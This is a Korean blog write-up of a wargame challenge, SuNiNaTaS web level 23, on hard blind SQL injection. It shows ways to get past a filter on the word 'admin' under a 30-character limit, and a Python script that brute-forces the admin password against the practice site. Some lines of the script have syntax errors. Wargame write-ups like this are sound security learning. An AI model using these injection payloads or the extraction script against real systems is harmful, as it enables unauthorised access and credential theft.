글 작성자: 근삼이

WEB Level 22

써니나타스의 마지막 문제입니다. level23의 문제도 22번 문제와 같이 Blind Injection문제입니다.

문제에도 "Hard Blind Sql Injection"이라고 적혀있듯, 몇가지 제약사항으로 인해 난이도가 조금더 상승한 모습을 볼 수 있습니다.



난이도를 상승시킨 요소들은 다음과 같습니다.

  • admin 문자열 필터링 규칙 추가

  • 입력가능 문자길이 30자 제한



소스의 주석부분을 살펴보면, admin의 패스워드를 찾는 것이 이 문제의 목적인 것 같습니다.


먼저, admin의 pw를 찾아야 하는 문제이기 때문에, 인젝션하여 검색할 튜플을 특정짓기 위해서 admin이라는 id정보를 필터에 걸리지 않게 쿼리로 전달할 방법을 찾아야 했습니다. 그 결과, 제가 찾은 방법은 두가지 정도였습니다.


admin 필터링 우회

adm'+'in'

SQL에서 문자열을 + 기호로 합칠 수 있는 특성을 이용해 필터링을 우회합니다.

'or id<'b'

SQL에서 문자열을 ASCII값 기준으로 크기비교를 할 수 있는 특성을 이용, 'admin'이라는 단어를 입력하지 않습니다.



두 구문다 정상적으로 필터링을 통과하였지만, 

문제를 풀때는, 30자 제한이라는 특성때문에더 짧은 문자열 합치기 방식을 사용하였습니다.


두번째로, 사용하는 구문들을 최대한 줄이기 위하여, 인자를 두개만 가져가도 되는 left, right 함수를 사용하였습니다.


left, right 함수 사용법

left( string, count)

두 인수를 입력받아서 string문자열의 왼쪽부터 count만큼의 문자만 잘라냅니다.

right( string, count)

두 인수를 입력받아서 string문자열의 오른쪽부터 count만큼의 문자만 잘라냅니다.


문자열 크기 비교를 통해 코드를 만들어 보았습니다.


문제 풀이를 위한 파이썬 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
 
URL="http://suninatas.com/Part_one/web23/web23.asp?"
 
cookie={
    "ASPSESSIONIDAAQSBQCQ":"DCOPIOMDKAJNHFMEGEIDFBCM"
    }
 
session=requests.Session()
 
password=""
 
for i in range(1,20):
    req1=session.get(URL+"id='or(id<'b')and len(pw)="+str(i)+"--&pw=1",cookies=cookie)    
    if (req1.text.find("OK"> 0) :
 
        for j in range(i):           
 
            for k in range(32,127): 
                if (i <= 9):
                    req2=session.get(URL+"id=ad'%2B'min'and right(pw,"+str(i-j)+")<'"+chr(k)+"'--&pw=1",cookies=cookie)
                else :
                    z=i-9   
 
                    if ( (j+1<= z ):
                        req2=session.get(URL+"id=ad'%2B'min'and pw<'"+password+chr(k)+"'--&pw=1",cookies=cookie)
                    else :
                        req2=session.get(URL+"id=ad'%2B'min'and right(pw,"+str(i-j)+")<'"+chr(k)+"'--&pw=1",cookies=cookie)     
 
                if (req2.text.find("OK")>0) :
                    password=password+chr(k-1)
                    print (password)
                    break
                else:
                    print (str(k)+' = '+chr(k)+' is not passwd')
              
print("\n\nadmin's PW : "+password.lower()+"   or   "+password)
cs


작성한 코드를 통해, admin계정의 pw정보를 알아낼 수 있었습니다.


이상으로 Suninatas의 모든 웹 문제를 다 풀어 보았습니다. BurpSuite이나 Paros와 같은 프록시툴의 다양한 활용법, POST와 GET방식의 페이지 요청의 차이, http헤더의 다양한 변수들의 역할, 파이썬 requests모듈을 활용한 코드 작성법, sql 구문의 기본적인 형식등을 알 수 있는 좋은 시간이었습니다. 

반응형